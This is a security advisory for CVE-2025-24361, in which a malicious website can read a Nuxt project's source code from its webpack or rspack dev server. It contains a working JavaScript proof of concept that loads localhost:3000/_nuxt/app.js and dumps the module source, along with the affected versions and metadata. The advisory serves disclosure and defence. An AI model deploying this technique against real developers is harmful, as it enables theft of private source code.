ghsa-4gf7-ff8x-hq99
Vulnerability from github
Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js">
in their site and run the script.
By using Function::toString
against the values in window.webpackChunknuxt_app
, the attacker can get the source code.
PoC
- Create a nuxt project with webpack / rspack builder.
- Run
npm run dev
- Open
http://localhost:3000
- Run the script below in a web site that has a different origin.
- You can see the source code output in the document and the devtools console.
```js const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
} }) document.head.appendChild(script) ```
It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent
field).
Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites.
{ affected: [ { package: { ecosystem: "npm", name: "@nuxt/webpack-builder", }, ranges: [ { events: [ { introduced: "3.0.0", }, { fixed: "3.15.3", }, ], type: "ECOSYSTEM", }, ], }, { package: { ecosystem: "npm", name: "@nuxt/rspack-builder", }, ranges: [ { events: [ { introduced: "3.12.2", }, { fixed: "3.15.3", }, ], type: "ECOSYSTEM", }, ], }, ], aliases: [ "CVE-2025-24361", ], database_specific: { cwe_ids: [ "CWE-749", ], github_reviewed: true, github_reviewed_at: "2025-01-27T11:31:41Z", nvd_published_at: "2025-01-25T01:15:24Z", severity: "MODERATE", }, details: "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n for (const page in window.webpackChunknuxt_app) {\n const moduleList = window.webpackChunknuxt_app[page][1]\n console.log(moduleList)\n\n for (const key in moduleList) {\n const p = document.createElement('p')\n const title = document.createElement('strong')\n title.textContent = key\n const code = document.createElement('code')\n code.textContent = moduleList[key].toString()\n p.append(title, ':', document.createElement('br'), code)\n document.body.appendChild(p)\n }\n }\n})\ndocument.head.appendChild(script)\n```\n\n\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n", id: "GHSA-4gf7-ff8x-hq99", modified: "2025-01-30T03:05:05Z", published: "2025-01-27T11:31:41Z", references: [ { type: "WEB", url: "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99", }, { type: "ADVISORY", url: "https://nvd.nist.gov/vuln/detail/CVE-2025-24361", }, { type: "WEB", url: "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f", }, { type: "PACKAGE", url: "https://github.com/nuxt/nuxt", }, ], schema_version: "1.4.0", severity: [ { score: "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", type: "CVSS_V3", }, ], summary: "Opening a malicious website while running a Nuxt dev server could allow read-only access to code", }
Log in or create an account to share your comment.
This schema specifies the format of a comment related to a security advisory.
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.